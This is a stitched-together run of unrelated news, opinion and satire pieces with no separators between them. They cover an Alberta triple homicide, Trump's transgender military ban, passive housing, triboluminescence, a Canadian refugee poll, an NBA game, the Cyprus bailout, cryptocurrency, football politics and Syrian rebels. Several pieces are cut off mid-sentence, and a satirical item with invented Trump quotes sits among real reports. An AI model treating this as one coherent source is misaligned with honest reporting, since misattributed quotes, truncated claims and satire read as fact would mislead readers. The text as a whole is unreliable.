Dan Miller and Roxanne Berube have been identified as the man and woman found dead near Edson.
READ MORE: ‘There was trauma’ – 3 people killed near Edson identified
RCMP said police shot the suspect. Steinke described the injuries as “serious.” No other people were injured. Police will not release the exact location of the shooting but said the scene was contained as of 1:40 p.m.
The suspect is being treated in an Edmonton hospital for his injuries.
“They knew each other so it wasn’t a random homicide,” said Steinke. “I’ll leave it at that.”
“This is a crime that has shocked local citizens, police, and all Albertans. The murder of the three innocent victims in their own home is unsettling for even the most seasoned police investigator.”
Watch below: 19-year-old suspect in three homicides near Edson shot during an arrest
Steinke said it was thanks to local residents that Mounties were able to identify the suspect quickly.
“This investigation was resolved in such short order in large part because local citizens stepped forward to help the RCMP in order to help us get the job done. People did come forward and did talk about what they knew,” he said.
Mounties responded at around 1:50 p.m. Sunday to a “call for assistance” at a home east of the town of Edson. Police said the call came from outside the home, but didn’t specify from whom or where it came.
Berube, 36, her boyfriend, Miller, and her teenage daughter, Jazmine Miller, were found dead. Police said the three victims suffered “obvious trauma” but didn’t say how the trauma was caused.
Global News spoke to the person who made the horrifying discovery. There have been concerns about vehicle theft in the area and the man noticed a vehicle in the ditch near the residence. He went to the home to warn the residents to be on alert.
All three lived at the home and Mounties said no one else in the residence was injured or missing.
The Alberta Serious Incident Response Team (ASIRT) is investigating the officer-involved shooting.
Directed to investigate @RCMPAlberta officer-involved shooting that occurred near @townofedson. No further info avail. New release to come. — ASIRT (@ASIRT_AB) December 1, 2015
The RCMP investigation into the triple homicide is continuing.
Edson is about 200 kilometres west of Edmonton.
With files from Global’s Karen Bartko
Editor’s note: This article has been updated after a correction from police indicated the suspect is 19 years old, not 29 years old as originally stated.Image by author via MANDEL NGAN/AFP/Getty Images
This week, as Senate Republicans geared up to take away health insurance from millions of Americans, Donald Trump made a devastating announcement: "The United States Government will not accept or allow Transgender individuals to serve in any capacity in the U.S. Military," he tweeted Wednesday morning.
Trump attributed the ban decision to "the tremendous medical costs and disruption that transgender in the military would entail," but there are only a few thousand active-duty service members who identify as transgender, and their health costs account for somewhere between 0.04 and 0.13 percent of the budget for "active-component health care expenditures," according to RAND. So Trump's stated reasoning was, unsurprisingly, bullshit.
A White House official was shockingly candid about the actual reasoning behind the ban, telling Axios, "This forces Democrats in Rust Belt states like Ohio, Michigan, and Wisconsin, to take complete ownership of this issue. How will the blue collar voters in these states respond when senators up for re-election in 2018 like [Michigan Democratic senator] Debbie Stabenow are forced to make their opposition to this a key plank of their campaigns?"
In other words, this is a transparent attempt to heat up what's often labeled "the culture war," best exemplified by identity-based political issues, from the exquisitely petty "War on Christmas" pushed by FOX News to the North Carolina "bathroom bill" that barred trans people from using the restrooms that correspond to their genders.
Trump, otherwise no social conservative, loves to play up these issues. In speech delivered to the Boy Scouts on Monday evening, he said, "Under the Trump administration, you'll be saying 'Merry Christmas' again when you go shopping. Believe me. 'Merry Christmas.'"
These aren't dog whistles but open appeals to conservatives who aren't as ideological as much as they're angry—angry at immigrants for taking the jobs, angry at phone menus that ask them to press 1 for English, angry that they have to think about whether someone is a Christian or not, or whether they're hurting someone's feelings by using the wrong pronoun. Maybe Trump will make all of that better. Or maybe he'll just infuriate liberals, which is the next best thing.
Or, as Jane Coaston put it in a recent op-ed for BuzzFeed, "The policy conversations and conflicts and basic premises that once governed conservatism—or at least appeared to—have been largely replaced by a set of principles built on the rock-solid foundation of irritating liberals." GOP policies can do much more than merely annoy liberals—ask any trans soldier—but knee-jerk reactions against social progress is what defines conservatism today. Maybe in the past conservatives used the Bible or some nod to tradition to defend their views. But in the age of Trump, they can skip a few steps and go right to hating whatever liberals say.
In a column on Townhall headlined "We Must Elect Senator Kid Rock," conservative Kurt Schlichter wrote, "We're past voting for the ideology. Now we're ready to vote for the id." These two sentences, quoted by Coaston, better explain the rise of Trump, and the reasoning behind the majority of his political decisions, better than almost anything you'll read. Trump has succeeded by playing into broad cultural fears, never mind that his policies are hurting people, like trans folks in the military or undocumented immigrants, who don't have the power to defend themselves.
This rhetoric seeps into everything, even what should be serious policy debates. The GOP, it has become apparent, doesn't know what it wants to replace the Affordable Care Act, a.k.a. Obamacare, with. But that doesn't matter when everything is about whose side you're on.
Here's how a recent White House newsletter put it: "Obamacare has wreaked havoc on the lives of innocent, hard-working Americans. The question for every Senator, Republican or Democrat, is whether they will side with Obamacare's architects or with its forgotten victims." Obama(care) is the villain. Repeal and replace is heroic. You are the forgotten victim. Who's side are you on?
The bills that Senate Republicans are considering right now would actually cause premiums to rise for most people, and those who got Medicaid thanks to the ACA could see that insurance taken away. The problems of the ACA—not enough people receiving affordable care—will only be made worse. That hasn't stopped the GOP, which seems less and less in control of the rage its used to win elections. The GOP can't manage to build anything, but they sure know how to destroy. The only question is, how far can they go down this road? And will they annihilate themselves in the process?
Follow Eve Peyser on Twitter.“They racked up extra points because they were producing power above and beyond what the house needed,” said Joshua Laryea, student project engineer from Stevens. “But who can afford a house like that and maintain all those solar panels? It wasn’t a place designed for living in.”
Joel Towers, the executive dean at Parsons, said: “We probably won’t be the shiniest box on the Mall, but a lot of the technology that’s needed for tomorrow’s housing is already available. The question we’re trying to answer is more social than technological — how do we actually bring these green solutions into neighborhoods?”
Empowerhouse tackles cost-effectiveness through “passive house” design principles, an international standard to minimize energy demand that is just beginning to gain traction in the United States. Passive houses are well insulated and nearly airtight, with 12-inch walls and triple-glazed windows, and they require up to 90 percent less energy for heating and cooling than an ordinary house. (They consume 40 percent less than a typical high-efficiency home.)
Such low energy consumption enabled Empowerhouse to have one of the smallest solar panel arrays in the competition, which helps keep construction and maintenance costs down.
For Habitat for Humanity of Washington, the Empowerhouse project is just the beginning of a new wave of sustainable housing. Once the house is moved to Deanwood, Habitat will work with the students and other volunteers to transform the 1,000-square-foot house — estimated to cost about $250,000 — into a two-family duplex of 2,700 square feet with an eventual estimated cost of $530,000. Two more three-unit passive town houses are in the design phase, and construction is scheduled to start in the Ivy City neighborhood of Northeast Washington in the spring.
Photo
Kent Adcock, president of the Washington affiliate of Habitat for Humanity, said that in the future, all construction originating from his group would be based on the passive house model — quite an achievement for a team of students, most of whom had never picked up a power tool before this summer’s construction project.
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“We’re designers — most of us hadn’t really handled much more than an X-Acto knife before this summer,” said Jason Hudspeth, a student project architect and a graduate of Parsons. “X-Acto knives aren’t very handy when you’re trying to put up drywall or pour cement.”
While constructing a passive house costs about 10 to 12 percent more than Habitat’s current models, this upfront cost is more than offset by the near elimination of utility bills. For a comparably sized home in the Deanwood neighborhood, utility bills are about $2,300 annually, and with energy prices predicted to continue rising, over the course of a Habitat home’s average 25-year mortgage, a homeowner could save anywhere from $61,000 to $132,000.
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“These savings could be the difference in that family advancing their education, or paying for child care, or even in investing for retirement,” Mr. Adcock said.
In June, his group is planning to host a conference for Habitat for Humanity affiliates from across the country to share what they have learned about passive house design and construction. Empowerhouse will serve as a model for an easily replicated, affordable, energy-efficient home for urban communities.
A more immediate concern was carefully taking apart what they had spent all summer putting together so that it could be moved to the National Mall for judging. The move took place last week.
“It took us so many tries to get everything right,” said Mr. Scribner, a recent |
Lifesavers. What this means is that methyl salicylate is a substance that has the ability to absorb light at shorter wavelengths and then emit light at longer wavelengths, giving off visible light. Basically, similar to how fluorescent lights and neon tubes work.
So when you bight into Wintergreen Lifesavers, the electrical discharge excites the nitrogen in the air, producing mostly ultraviolet light; which then in turn is absorbed by the methyl salicylate; this then emits light in the visible spectrum, creating a visible flash. Wintergreen Lifesavers aren’t the only hard sugar based candies to contain just such a chemical though. Many artificial flavors in hard candies will induce similar effects creating a flash in the visible spectrum, not just in the ultra-violet range.
In fact though, it’s not just sugar crystals that have this sort of thing happen. Other crystals, such as diamonds or salt, will do the same thing with the structure of the crystal being the determining factor on whether or not it will emit light when broken; so basically, whether it is a triboluminescent crystal or not. Crystals that aren’t typically triboluminescent tend to be ones where every unit in the crystal is symmetrically arranged around a center point. Crystals that aren’t symmetrical like this or have impurities, tend to be triboluminescent. Interestingly, in many types of crystals, these sparks are powerful enough to induce combustion.
Diamonds are one example of a crystal that will produce visible light. Diamonds will in fact glow while being rubbed very vigioursly, such as while they are being ground or cut, making a red or blue color. There are even some rocks that emit light when rubbed together using these same principles.
The Uncompahgre Ute Indians from central Colorado noticed this phenomenon with quartz crystals. They would take clear quartz crystals collected from the mountains around Colorado and stick them in a rattle made of Buffalo Hide. When shaken, flashes could be seen through the somewhat translucent buffalo hide.
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Expand for References:Support for Prime Minister Justin Trudeau’s plan to bring in 25,000 refugees by the end of the year appears to have ebbed in the aftermath of the Paris terrorism attacks, with a majority of Canadians surveyed disapproving of the policy.
An exclusive poll for Postmedia Network by Mainstreet Research shows that while 42 per cent of those surveyed approve of the ambitious plan, which would see the refugees arrive over the next six weeks, 53 per cent say they do not approve of the initiative. (Five per cent were not sure.)
The telephone poll was conducted using interactive voice response technology on Nov. 16, three days after the terrorist attacks in Paris. The discovery of a Syrian passport near the body of one attacker prompted debate about whether Islamic State militants could slip into western countries as part of the refugee stream.
With the Liberal government poised to make public its plan to bring refugees into Canada, some politicians have urged caution. Earlier this week, for instance Saskatchewan Conservative Premier Brad Wall warned of dire consequences if the security screening of refugees fell short because of the compressed timeline.
Some other provincial and municipal politicians have also suggested it would be wise to let the timeline slip so that the government can show Canadians it is doing proper security screening and preparation for the arrival of so many people so quickly.
“Our earlier polling showed strong support for bringing refugees to Canada but after the attacks in Paris, security is now a higher concern,” wrote Quito Maggi, president of Mainstreet Research, in an analysis of his company’s poll.
Mainstreet also asked if people were more generally satisfied with the Liberal government’s response to the refugee crisis. Again, 42 per cent said they were; forty-six per cent said they were not. Twelve per cent were not sure.
The Syrian refugee issue shook the collective Canadian conscience with the publication in September of photographs of the dead body of three-year-old Alan Kurdi on a beach. The boy’s family had hoped to come to Canada.
Federal political leaders running in the Oct. 19 election rushed to put forward policy platforms on the refugees, and the Liberals, who ultimately won a majority, pledged 25,000 would come to Canada by Dec. 31.
Trudeau this week held firm to his commitment.
“It didn’t take the tragedies of Paris for us to suddenly realize that security is important,” he told reporters, adding that he was “very much committed to keeping Canadians safe while we do the right thing to engage responsibly with this humanitarian crisis.”
The Mainstreet poll of 2,718 Canadians carries a margin of error nationally of plus or minus 1.88 percentage points, 95 per cent of the time.NEW YORK -- Steve Nash provided the beautiful point guard play that once made Mike D'Antoni's offense hum and now is sorely lacking.
Then, Shannon Brown crushed the Knicks with a 3-pointer that nearly bounced over the basket before bouncing in, a shot as ugly as this game.
"Probably about par for the course," Phoenix coach Alvin Gentry said.
Nash had 26 points and 11 assists, and the Suns snapped a five-game losing streak with a 91-88 victory over the Knicks on Wednesday night.
Brown and Grant Hill each scored 14 points for the Suns, who bounced back from an embarrassing 118-97 loss to a Chicago team without Derrick Rose a night earlier.
They got help with a lucky bounce on Brown's 3-pointer from the corner that bounced off the rim, then the top of the center of the basket before falling in to give them a five-point lead with 35 seconds left. Nash made it stand up with six free throws in the last 16 seconds.
Gentry said Nash, who shot 9 of 12, is playing as well as he did in his MVP seasons under D'Antoni. Nash said playing his former coach and teammate Amare Stoudemire, in the city where he lives in the summer, was "a homecoming in some ways" but denied any extra significance in beating them.
"Right now, we could have beat anybody and it'd be sweet," Nash said. "It's been a tough year, we've had a tough stretch, so for us, any win is a huge relief and hopefully will give us some confidence and maybe get us going a little bit."
Stoudemire scored 23 points for the Knicks, who have lost four straight and can't find answers for their offensive struggles.
"I know we're 6-8, I know we're in a little bit of a crisis here," D'Antoni said. "But we're playing hard, playing good defense. There's some good things we're doing. We've just got to figure out the one part and that's the part that should be easiest. It's become a problem, and if we solve it, we'll be pretty good. We just have to do it sooner rather than later."
Iman Shumpert added 20 points and Landry Fields had 17, but Carmelo Anthony, perhaps still bothered by a sore left wrist, shot just 5 of 22 while finishing with 12 points and 11 rebounds.
Anthony did not speak to the media. A Knicks spokesman said he left because of a family issue.
Hill hit jumpers for the Suns' last three baskets of the third quarter, giving them a 64-61 edge. The Knicks then managed just two field goals in the first six minutes of the fourth, and Phoenix finally got some room when a 10-4 run, ending with consecutive baskets by Brown, made it 78-71.
Shumpert's 3-pointer cut it to 82-80 before Brown answered with his 3 from the corner that had to be reviewed.
"I got a good look at the basket. I feel it had enough air under it and it was soft enough where it hit the basket and went up and it fell in," Brown said. "I knew it was a big shot."
"Just trying to help my team win and today I was part of it," Brown added after scoring nine in the fourth quarter. "We lost a whole bunch in a row and it's good that we got a win."
Shumpert made another 3, but Nash kept hitting from the line, and it ended when Shumpert's rushed 3 from near midcourt was nowhere near the basket.
Tyson Chandler grabbed 17 rebounds for the Knicks on a night there were plenty of missed shots as both teams showed why they have been struggling so much early in the season.
The surprising culprits have been the team's offenses, with both struggling just to reach 90 points during their skids. That's particularly hard to imagine in Phoenix, where the Suns remained potent long after D'Antoni brought his high-powered system to New York, and comes just a year after the teams combined for 250 points here in the Suns' 129-121 victory.
"That's pretty ironic you know, because obviously most of the things we do is what Mike did when he was there," Gentry said before the game. "There's a few things that we've changed, but it's kind of a mystery to me. I can't put my finger on the fact that we're struggling to get to 100 every game. I thought that would be one of the areas where we'd have the least worries and it's become just the opposite."
Gentry shook up his rotation in an effort to balance things after noticing the Suns were 27th in the NBA in second-quarter scoring. Rookie Markieff Morris made his first start at forward and Ronnie Price got the nod at shooting guard.
Turns out he didn't need the extra scoring, because the Knicks remained in a seemingly season-long shooting slump.
It was the sixth straight game the Knicks failed to reach 100 points, their second-longest streak under D'Antoni, according to STATS, LLC. They went seven games in a row early in the 2009-10 season, when they had little talent while clearing cap space for free agency.
Now they have All-Star talent in Stoudemire and Anthony, but the offense just isn't running smoothly without a veteran point guard. They are hoping that when Baron Davis finally is ready from a herniated disc in his back sometime around the end of the month that he can change that.
"We can't keep making excuses," Stoudemire said. "We need to start pushing forward and get over the hump offensively."
The Knicks wrap up their string of four homes in six nights with a back-to-back against Milwaukee and Denver on Friday and Saturday.
Game notes
D'Antoni said C Jerome Jordan and G Jeremy Lin, assigned Tuesday to Erie of the NBA Development League, would probably return near the end of the month when Davis is back and the team will want to play 5-on-5 in practice.... The Knicks played without reserve guard Bill Walker, who has a sore right knee.A relatively obscure Congressional hearing on Tuesday became a flashpoint in a very important conflict: the attempt by the chemical industry -- led by Dow Chemical -- to gain a veto over the work of government scientists. This time, however, the scientists fought back, and they need our support.
The hearing was a joint project of the House Small Business Committee and House Science Committee. It focused on how a government report on cancer-causing chemicals is hurting "small business" in America. The Report on Carcinogens, which recently classified formaldehyde as a "known carcinogen" and styrene as a "reasonably anticipated" human carcinogen was under attack. It is a statutorily mandated report that is prepared by the highly respected National Toxicology Program (NTP).
The hearing is part of a disturbing pattern of political intimidation of government scientists for doing their jobs. Companies that make and use both chemicals launched an attack on the report even before it was published and its publication was delayed for years. It took political courage for Health and Human Services Secretary Kathleen Sebelius to allow the report to be released, and I was told phones rang off the hook at the White House from chemical industry lobbyists complaining about the decision.
The Report itself does not restrict the chemicals it names. The findings can be used by regulatory agencies like the Environmental Protection Agency to decide if any changes are needed to environmental rules, but they mostly inform the public and the marketplace. The Occupational Safety and Health Administration (OSHA) requires that its safety data sheets be updated when the Report lists a chemical, a basic right-to-know measure for American workers.
So what was Dow complaining about at Tuesday's hearing? Dow's chief scientist Jim Bus effectively said that the NTP doesn't do good science. Dow does good science. And the agency needs to give Dow and other companies a greater say in determinations like this for them to be credible with the public.
Never mind that the woman who runs the NTP and the National Institute of Environmental Health Sciences -- Dr. Linda Birnbaum -- is perhaps the most credentialed person on the planet on these matters. Never mind the exhaustive peer-review and outside consultation that already takes place. No, we need Dow more involved, because the public certainly thinks chemical makers are more credible judges of the products they make than public health scientists whose only mandate is to identify substances that may be harming public health.
The arrogance and self-serving nature of Dow's position was breath-taking, but the upside of the hearing was that it was also obvious and fell flat. Representative Brad Miller (D-NC) deserves special credit for blowing the whistle on the hearing, by pointing out that the styrene industry took credit for the fact that the hearing was taking place. Miller and Representatives Richmond (D-LA) and Tonko (D-NY) pointed out that industry opponents who would exonerate styrene and formaldehyde were hardly more credible than the NTP. Overall, the show trial intended by the hearing backfired on the inquisitors, Subcommittee Chairs Broun (R-GA) and Ellmers (R-NC).
But the issue requires continued vigilance. Already, the United States has lost the leadership of the world on health and safety issues in favor of the European Union, and that has an impact on our ability to compete in a world market that increasingly demands safer products. The modest attempts by EPA Administrator Jackson to restore that leadership have not only been undermined by House Republicans but in some cases by industry allies in the White House who have blocked key reforms. The attempt to politically intimidate Dr. Birnbaum would bring this trend to a new low, however, because it would signal that companies like Dow can block even the most basic scientific work from seeing the light of day when it offends them.Media playback is unsupported on your device Media caption Savers express anger at empty cash points in the capital, Nicosia
Cyprus President Nicos Anastasiades says he is battling against eurozone demands that all bank customers pay a one-off levy in return for a bailout.
Mr Anastasiades said he shared people's unhappiness with the terms, whereby all bank customers would pay a levy of 6.75% or 10% on their bank deposits.
The EU and IMF have demanded the levy in return for a 10bn-euro ($13bn; £8.6bn) bank bailout.
An emergency session of parliament has been postponed until Monday.
Mr Anastasiades said it was the worst crisis since Turkey invaded in 1974.
"I fully share the unhappiness caused by a difficult and painful decision," he said.
"That's why I continue to fight with the eurogroup to amend their decisions in the coming hours to limit the impact on small depositors."
The president said Cyprus had had to choose between stabilising its finances or the eventual collapse of its financial system and exit from the eurozone.
Under the bailout's terms, people in Cyprus with less than 100,000 euros in their accounts would have to pay a one-time tax of 6.75%. Those with sums over that threshold would pay 9.9% in tax.
Unprecedented levy Depositors with under 100,000 euros deposited must pay 6.75%
Those with more than 100,000 in their accounts must pay 9.9%
Depositors will be compensated with the equivalent amount in shares in their banks
The levy is a one-off measure Q&A: Cyprus bailout UK to help troops
Depositors will be compensated with the equivalent amount in shares in their banks, and Mr Anastasiades promised that those who kept deposits in Cypriot banks for the next two years would be given bonds linked to revenues from natural gas.
Cyprus announced the discovery of a field containing between 5 and 8 trillion cubic feet of natural gas under the Mediterranean Sea in 2011 but Turkey disputes its drilling rights.
It is believed that eurozone leaders, particularly in Germany, insisted on the levy because of the large amount of Russian capital kept in Cypriot banks, amid fears of money-laundering.
The speaker of the European Parliament, Germany's Martin Schulz, has called for the levy to be revised to protect small-scale bank customers.
It is now clear that negotiators of the bailout in Brussels drastically underestimated the reaction in Cyprus, says the BBC's Mark Lowen.
A tiny eurozone economy feels it is being blackmailed by the most powerful, and the growing resentment will do nothing to foster European solidarity, our correspondent adds.
Party talks
"The solution we concluded is not what we wanted but is the least painful under the circumstances," President Anastasiades said on TV.
The solution must be socially acceptable Martin Schulz, Speaker of the European Parliament
"I bear the political cost for this, in order to limit as much as possible the consequences for the economy and for our fellow Cypriots."
The vote in parliament has been postponed to Monday afternoon. If the deal is defeated, state media say banks could be closed on Tuesday so as to avoid mass withdrawals.
The Cypriot president's Democratic Rally party - which has 20 seats in the 56-member assembly - needs support from other factions to ratify the bailout.
A spokesman for one of its coalition partners, the Democratic Party, told BBC News they wanted assurances that the deal would resolve the problems facing Cyprus before voting in favour.
Opposition leader George Lillikas, an independent, said the president had "betrayed the people's vote".
The speaker of the European Parliament, Martin Schulz, argued in a newspaper interview that there should be an exemption from the levy for savers, for example, who had less than 25,000 euros in their accounts.
Image caption President Anastasiades is seen here speaking to German Chancellor Angela Merkel at the EU summit on Friday
"The solution must be socially acceptable," Mr Schulz, who belongs to Germany's opposition Social Democrats, told Germany's Welt am Sonntag newspaper.
The German Chancellor, Angela Merkel, defended the levy, saying: "I think it's a good step which will certainly make it easier for us to approve the help for Cyprus."
As with past eurozone bailouts, the deal must be approved by the lower house of parliament in Germany, the EU's biggest economy.
If the levy goes ahead, it will affect many non-Cypriots with bank accounts, including UK expatriates.
However, depositors in the overseas arms of Cypriot banks will not be hit. Bank of Cyprus UK and Laiki Bank UK both confirmed on their websites that there would be no impact.
Chancellor George Osborne said the UK would compensate any government employees and military personnel whose bank accounts were affected.
The levy itself will not take effect until Tuesday, following a public holiday, but action is being taken to control electronic money transfers over the weekend.The clothing has split opinion as athletes give 'favourable reaction' but many have ridicule the outfits on social media.
STV
Thousands of of people have signed a petition against Scots athletes wearing the official Team Scotland Commonwealth Games outfit.
The clothing has split opinion, with athletes and organisers said to have given a "favourable reaction" but many people continue to ridicule the outfits on social media.
Team Scotland describes the male uniform as a "turquoise, fuchsia, navy blue and caramel" tartan kilt with a blue shirt, while the women will wear a "flowing wrap-around dress", said to be inspired by the Saltire flag.
A shawl-like wrap and a stone-coloured leather bag complete the women's uniform.
Textile designer and artist Jilli Blackwood, who created the outfits, even said she "didn't expect everyone to like them".
Now, almost 4800 Scots have signed an online petition entitled Prevent the Use of the Jilli Blackwood Scotland Uniforms.
The author of the petition, Richard Brown, wrote: "The uniforms being used are truly horrendous.
"Please step in and prevent them being used while there's still time for an emergency Plan B - before our poor, brave-faced athletes are subjected to parading around in them.
"These uniforms are an embarrassment to our athletes and to Scotland. Please also investigate who selected this travesty of a design."
One of the people who signed the petition, Ross Laidlaw, wrote: "These 'costumes' are wrong in so many different ways. Apart from the fact they look terrible and are an embarrassment for the people who have to wear them and the people of Scotland they also bring into question the credibility of the people who allowed them.
"A complete waste of money and the only thing more ridiculous than the 'fancy dress costumes' themselves is the refusal to accept there has been a huge mistake in the face of unprecedented levels of condemnation."
Earlier this week, designer Ms Blackwood said she would have "got it wrong" if everyone liked her outfit design.Qatar World Cup chiefs have reacted to new claims surrounding the 2022 World Cup bid by insisting they adhered to all FIFA’s rules.
The Daily Telegraph has claimed it has seen details of payments from a company owned by Qatari Mohamed Bin Hammam to fellow former FIFA member Jack Warner, from the Caribbean.
The two men’s FIFA careers ended in disgrace after they were caught up in a corruption scandal surrounding Bin Hammam’s campaign for the presidency of the world governing body in 2011.
Article continues below...
A spokesman for Qatar’s 2022 World Cup organising committee told the Telegraph: "The 2022 bid committee strictly adhered to FIFA’s bidding regulations in compliance with their code of ethics.
"The supreme committee for delivery and legacy and the individuals involved in the 2022 bid committee are unaware of any allegations surrounding business dealings between private individuals."Dash price recovered well from the $265 support against the US Dollar. However, DASH/USD needs to overcome the $300 hurdle to gain traction.
Key Talking Points
Dash price is currently trading above the $280 and $265 support levels (data feed by Kraken) against the US Dollar.
There is a major bearish trend line forming with resistance at $295 on the 2-hour chart of DASH/USD.
The pair has to settle above the $300-310 levels to move back in the bullish zone.
Dash Price Chart Analysis
We saw a sharp decline in Dash price towards the $260-250 support area against the US Dollar. The price traded as low as $264 from where a short-term correction was initiated.
The price moved above the $280 resistance and the 23.6% Fibonacci retracement level of the last decline from the $320 high to $264 low. However, the upside move was protected by the $300 handle and a major bearish trend line with resistance at $295 on the 2-hour chart of DASH/USD.
Moreover, the 61.8% Fibonacci retracement level of the last decline from the $320 high to $264 low prevented gains and stopped buyers from taking control.
The pair is currently trading near the 100 simple moving average (2-hour) and remains well supported above the $280 support. However, buyers need to gain momentum above the trend line resistance and the $300 handle to initiate a new bullish wave.
In the short term, it seems like there are chances of a downside move back towards $280 before Dash price makes an attempt to surpass the $300 resistance.
If buyers fail to defend losses near $280, there can be a retest of $265. The 2-hour MACD for DASH is recovering and may soon move back in the bullish zone. However, the RSI is signaling a divergence below 60.
Therefore, we can witness a few more swing moves toward $280-265 before there can be an upside break in DASH/USD above $300.
Trade safe traders and do not overtrade!The government in Poland recently had a debate in the Polish Parliament regarding Bitcoin regulations. The event organized by the Polish Bitcoin Society along with Miroslaw Suchon saw lectures by specialists from the Bitcoin and blockchain industry.
Cryptocurrencies like Bitcoin occupy a unique position in the monetary system. They are decentralized, supported by a worldwide community instead of central banks and governments. Without control over the cryptocurrencies, the governments have a conflicting opinion about Bitcoin regulations. On one end, accepting cryptocurrencies means giving up complete authority over the monetary policies and at the same time strict regulations may hinder the development of blockchain technology which has a potential to revolutionize the whole payments industry.
The lively debate had industry specialists and politicians interact with each other regarding various aspects of cryptocurrency technology and its pros and cons. The speakers at the event included academics like Dr (hab). Konrad Zacharzewski, Dr. Krzysztof Piech, and Prof. Marian Sredrny; legal experts like Jacek Czarnecki and Dr. Krzysztof Korus; industry representatives from BitBay, IBM and Polish Bitcoin Society members.
According to reports, the Government in Poland is enthusiastic about cryptocurrencies and more such debates are expected to follow this first ever government – cryptocurrency interaction. As expected, one of the main topics of the debate revolved around the legislative issues surrounding the creation and use of cryptocurrencies. It was accepted that regulations are necessary to protect the investors’ interest without hindering the freedom of the community or hampering the progress of technology development.
BitBay is the leading cryptocurrency platform in Poland, its CEO Sylwester Suszek’s attendance in the event allowed them to explain the various challenges faced by cryptocurrency companies to the country’s lawmakers. Suszek, during the presentation, is said to have stressed upon the need for co-operation between the companies and government institutions to create the much-needed solutions for the public using cryptocurrencies.
All the participants have expressed their satisfaction with the outcome of the event. The Ministry of Administration and Digitization is said to be working closely with specialists in the blockchain and cryptocurrency domain to develop digital safety and e-administration solutions in the country. Given the government’s stance, the cryptocurrency community may soon expect interesting developments in the country’s Bitcoin and blockchain scene.
Ref: Ministry of Digitization |Image: NewsBTCWhere that discussion leads is what matters the most. Put all the cards on the table and you never know what might happen next. First up, I make no assumption the Oceania Football Confederation would invite Australia back. I'd think New Zealand would be willing, but the other 10 island nations a lot less so. Yet if Australia is ever to return to the confederation it helped form in 1966, it's now-or-never. So why not test the lie of the land. The benefits are simple enough. Qualifying regularly for the World Cup, and the $15 million guarantee it brings every four years. Qualifying much more often for FIFA under-age tournaments, and the development benefit that brings.
A guarantee that an A-League club would participate in the FIFA Club World Cup every year, and the $1 million that brings. And last, but by no means least, the chance to host a World Cup (jointly with New Zealand), perhaps as soon as 2034. Are these benefits at least worth exploring? I'd think so. But it's where a conversation with the OFC would lead in terms of the Asian Football Confederation which is perhaps more fascinating. Twelve years after Australia moved to the AFC, there remains entrenched opposition to our membership, largely in west Asia.
Football Federation Australia's decision to back Prince Ali bin Hussein of Jordan in last year's FIFA presidential election, rather than AFC boss Sheikh Salman, has many insiders admitting our political stocks in the region have never been lower. So here's a great opportunity to flush things out. If the AFC tells us by all means go back to Oceania, and by the way make sure you shut the door on your way out, then it's clear there are powerful forces in Asia who will never truly embrace us. Better to find out where we really stand sooner rather than later, wouldn't you think? The potential benefits of being in Asia are huge, of course. I say potential because as it stands, the FFA is lucky to break even on most World Cup qualifiers (the final qualifier and a game against Japan the notable exceptions), A-League clubs lose up to $500,000 annually to compete in the Asian Champions League, and there is next to no chance of ever hosting a World Cup.
The true benefits of belonging to Asia – becoming entwined in world football's tiger economy – are yet to be fully felt, although the fact that two A-League clubs (Brisbane and Newcastle) are now owned by Asian investors suggests the tide might be turning. The football benefits of stronger competition are also an obvious incentive. Ultimately, though, what FIFA's decision to expand the World Cup does most of all is give Australia an unprecedented opportunity to become the circuit-breaker in solving the issue which matters more than anything else. A redraw of the confederation boundaries. The undeniable truth is that the AFC, as it stands, is a logistical, numerical, geographical, economic, religious and cultural fantasyland. Dreamt up generations ago by the same type of colonialism which has caused so much conflict in the real world. So here's the chance to right those wrongs, and it's Australia fate to be the instrument of change. The World Cup decision provides the leverage to finally put this thorny issue on the table.
Merge Oceania with east Asia, and push Bangladesh, Maldives and Pakistan to west Asia, and all of a sudden you have two confederations of roughly equal size and more common objectives. With its long history with Oceania and its fledgling history with Asia, Australia is uniquely positioned to kick-start the evolution. That's why the conversation matters. And that's why there's no better time to have it than right now.BUFFALO, N.Y. — Bruce Boudreau knows now.
The Wild coach frankly didn’t realize just how bad the Wild were in overtime since 3-on-3 was introduced in 2015-16 until Wild General Manager Chuck Fletcher personally delivered him the team’s overall record and responsible parties after the team’s latest overtime defeat, Monday night against the New Jersey Devils.
“I didn’t put much thought into it last year because we won four games, but I do know now,” Boudreau said when The Athletic presented him the ugly tabulations Wednesday.
Since 2015-16, the Wild are a league-worst 5-17 in overtime, with Mikko Koivu on for eight of the goals against, Ryan Suter seven and Jason Zucker six. All three have been on the ice together for four goals against, with Koivu and Suter paired for two additional scores.
The Wild as a team rank 22nd in 3-on-3 Corsi at 47.8 percent and 25th in expected goals at 45.9 percent.
So, they’re getting outshot...Psychopathic Megalomaniac Somehow Garnering Evangelical Vote
U.S.—It’s been a strange presidential election season thus far and, to be sure, we’re still quite early in the process, but reports are presently indicating that, incredibly, psychopathic megalomaniac Donald Trump is somehow garnering a significant portion of the American Evangelical vote.
“I’m doing great with the Evangelicals. They love me, that I can tell you,” said the demented, vainglorious Trump on Monday.
“Look,” he continued, “the Evangelicals realize the truth, that I’m a good Christian. I really am! I’m such a good Christian that I’m the first man in history to become a Christian without ever asking God for forgiveness. And that’s just tremendous.”
When asked about the moral implications of electing a deranged casino magnate and insufferable narcissist who not long ago supported partial-birth abortion and gay marriage on national television and would seemingly have no qualms about violently obliterating hundreds of thousands of people for purely egotistical reasons, a large cross-section of American Evangelicals reportedly reasoned, “We’re voting Trump because he will make America great again.”
Sources indicate that nobody knows what exactly that means or how it will occur, practically, but it will reportedly “be so tremendous” as to “make your head spin.”Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
David Cameron is depending on 70,000 “moderate” Syrian opposition fighters to topple Islamic State in Syria - but this is an army of 120 different rebel groups.
Far being a unified army with a common leader, the ragtag force Cameron is pinning his hopes on actually consists of fragile alliances with radically different aims.
Within this makeshift battalion composed of Kalashnikov-wielding warriors - most of whom have no military training - there is more opposition to President Bashar Assad than there is to IS.
Some factions are battling for freedom in a specific region of Syria, some want to oust other rebel groups, and some even support al-Qaeda.
(Image: Rex)
The Southern Front alone consists of 25,000 fighters in 58 factions while the Northern Free Syrian Army is a 20,000-strong force centred on 14 different units.
Those based around Aleppo in the north have little to do with those from Daraa in the south.
Equally, there are radical religious differences between the splintered rebel forces.
Read more: David Cameron's plan is based on fantasy
Many experts believe the Prime Minister’s vision of moderate rebels storming the IS stronghold Raqqa following a bombardment from Britain and its allies is naive.
